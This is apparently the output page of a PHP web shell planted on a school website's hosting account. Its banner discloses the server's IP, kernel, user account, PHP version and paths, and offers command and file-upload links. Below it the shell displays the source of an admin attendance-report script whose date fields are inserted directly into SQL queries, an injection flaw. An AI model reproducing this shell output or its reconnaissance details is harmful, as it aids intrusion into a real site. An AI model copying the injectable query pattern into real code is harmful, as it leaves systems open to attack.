|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.199 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/admin/qr/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<body>
<?php
include("../link/databaseconnection.php");
session_start();
$lg=$_SESSION['admin'];
if(!$lg)
{
header("location:../admin/index.php");
}
$sdate1=$_POST['sdate'];
//echo $sdate1;
$sdate=date("d-m-Y",strtotime($sdate1));
//echo $sdate;
$edate1=$_POST['edate'];
//echo $edate1;
$edate=date("d-m-Y",strtotime($edate1));
//echo $edate;
?>
<table border="1px" width="100%" cellspacing="0">
<caption style="text-align:center;font-size:25px;font-weight:bold">GLORIOLE CONVENT SCHOOL ATTENDENCE TEACHER</caption>
<tr>
<td style="font-weight:bold;"> Start Date</td><td style="text-align:center;font-weight:bold"><?php echo $sdate;?></td><td style="font-weight:bold"> End Date</td><td colspan="2" style="text-align:center;font-weight:bold"><?php echo $edate;?></td>
</tr>
<tr align="center">
<td style="font-weight:bold"><span id="name2">Sr.No.</span></td>
<td style="font-weight:bold"><span id="name2">Name</span></td>
<td style="font-weight:bold"><span id="name2">Class</span></td>
<td style="font-weight:bold"><span id="name2">Present</span></td>
<td style="font-weight:bold" ><span id="name2">Absent</span></td>
</tr><?php
$d=0;
$sel1="select * from classteacher ";
$res1=mysqli_query($conn,$sel1);
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
$sch=$row1['id'];
$sch1=$row1['name'];
$sel121="select * from presentclassteacher where sch='$sch' and date between '$sdate1' and '$edate1' and status='P' order by id asc ";
$res121=mysqli_query($conn,$sel121);
$rm=0;
while($row121=mysqli_fetch_array($res121,MYSQLI_BOTH))
{
$rm++;
}
$sel1211="select * from presentclassteacher where sch='$sch' and date between '$sdate1' and '$edate1' and status='A' order by id asc ";
$res1211=mysqli_query($conn,$sel1211);
$rm1=0;
while($row1211=mysqli_fetch_array($res1211,MYSQLI_BOTH))
{
$rm1++;
}
$d++;
?>
<tr align="center">
<td><span id="name3"><?php echo $d;?></span></td>
<td><span id="name3"><?php echo $row1['name'];?></span></td>
<td><span id="name3"><?php echo $row1['class1'];?></span></td>
<td><span id="name3"><?php echo $rm;?></span></td>
<td><span id="name3"><?php echo $rm1;?></span></td>
</tr>
<?php
}
?>
</body>
</html>